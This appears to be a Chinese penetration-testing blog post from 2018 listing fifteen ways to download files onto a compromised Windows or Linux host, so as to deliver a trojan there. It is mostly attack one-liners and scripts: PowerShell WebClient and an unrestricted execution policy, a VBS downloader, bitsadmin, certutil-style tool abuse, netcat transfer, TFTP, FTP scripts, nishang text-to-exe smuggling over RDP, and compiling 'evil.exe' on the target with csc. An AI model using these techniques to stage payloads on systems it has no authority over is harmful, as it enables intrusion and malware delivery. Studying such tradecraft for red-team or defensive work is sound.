渗透中15种文件下载的方法

0x01 PowerShell 文件下载

1
2
$p = new-object system.net.webclient
$p.downloadfile("http://xx.xx.xx.xx\file","c:\xxx\xx\file")

powershell file download

当然也可以直接将上面语句写入到一个脚本中,比如test.ps1
然后powershell window中

1
.test.ps1

执行。

当然,默认情况下是无法执行powershell脚本的,需要在管理员权限下修改配置

1
powershell set-executionpolicy unrestricted

0x02 Visual Basic 文件下载

1
2
3
4
5
6
7
8
9
10
11
12
Set args = Wscript.Arguments
Url = "http://192.168.43.68:8000/1.py"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\users\pino\file\1.py", 2 '
end with

将上述代码保存在test.vbs
然后使用

1
cscript test.vbs

执行文件下载

0x03 Perl 文件下载

1
perl -MLWP::Simple -e 'getstore ("http://www.163.com/","163.html")'

0x04 Python 文件下载

1
python -c "import urllib2;u=urllib2.urlopen("http://xx.xxx.xx/1.py");localfile=open('c:\users\pino\file\1.py','w');localfile.write(u.read());localfile.close();"

0x05 Ruby 文件下载

1
2
3
4
5
6
7
8
9
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}

0x06 PHP 文件下载

1
2
3
4
5
6
<?
$data = @file("http://xx.xx.xx/1.py");
$f = fopen("c:\users\pino\1.py", "w");
fwrite($f, $data[0]);
fclose($f);
?>

0x07 FTP文件下载

我们可以将想要执行的命令先写入一个txt中,然后用ftp命令就好了
1.txt

1
2
3
4
5
open 127.0.0.1
user_name
user_pass
get file(文件名)
quit

然后在命令行中执行

1
ftp -i -s:1.txt

ftp_windows

0x08 TFTP 文件下载

windows7 下默认是没有tftp的,可以WIN+R,然后输入appwiz.cpl,点击左侧的打开或关闭windows功能后,选中TFTP客户端即可启用TFTP客户端。

1
tftp -i host(本地的,这里可以是127.0.0.1) GET c:\users\pino\1.py(用于保存在本地的文件名) xxx.xx.xxx.xxx\1.py(远程tftp服务器上的文件)

0x09 bitsadmin 文件下载

bitsadmin是windows下的一个命令行工具

1
bitsadmin /transfer name(这个随便写,是任务名称) http://192.168.43.68:8000/1.py c:\users\pino\1.py

bitsadmin

0xA Wget 文件下载

1
wget http://192.168.43.68:8000/1.py

0xB netcat 文件下载

攻击者在linux下输入命令

1
cat file|nc -l 1234

这样把文件file的内容重定向到了攻击者的1234端口,无论谁访问攻击者的ip的这个端口,都能下载到文件了

1
nc host_ip 1234 > file

0xC Windows 共享 文件下载

1
net use x: \\192.156.1.17\temp$ "password"  /user:username

$符号这里是在本地隐藏,写不写都行

0x0D Notepad 文件下载

这个姿势很神奇。
首先打开notepad,就是我们常说的记事本,点击文件-》打开,在文件名称内输入完整的URL,回合,就会发现记事本中的内容就是我们访问的URL的文本内容。

0x0E 使用powershell nishang 进行文件下载

nishang 是一个很不错的powershell渗透框架,在github上能够找到,里面有很多实用的渗透脚本,这里我们可以用ExeToText脚本,将想要下载的exe文件转换成txt,在用记事本打开,然后复制其中的内容,通过rdp剪贴板复制到目标机器上的txt文本,再通过TextToExe脚本转换为exe就好了。

0x0F 实用csc工具实现类文件下载

通常在渗透的过程中我们下载是为了将我们的木马传到目标机器上,因此我们可以另转思路,将木马的源码写好,直接在目标及其上编译就好了。在Windows下,c的编译器默认是在C:\Windows\Microsoft.NET\framework\version,version的话,不同位数的机器不一样,看情况而定,里面的csc.exe就是了。使用下面的命令

1
csc.exe /out:c:\users\pino\evil.exe c:\users\pino\evil.c

本文标题:渗透中15种文件下载的方法

文章作者:Pino-HD

发布时间:2018年06月10日 - 15:06

最后更新:2018年06月10日 - 15:06

原始链接:https://pino-hd.github.io/2018/06/10/渗透中15种文件下载的方法/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!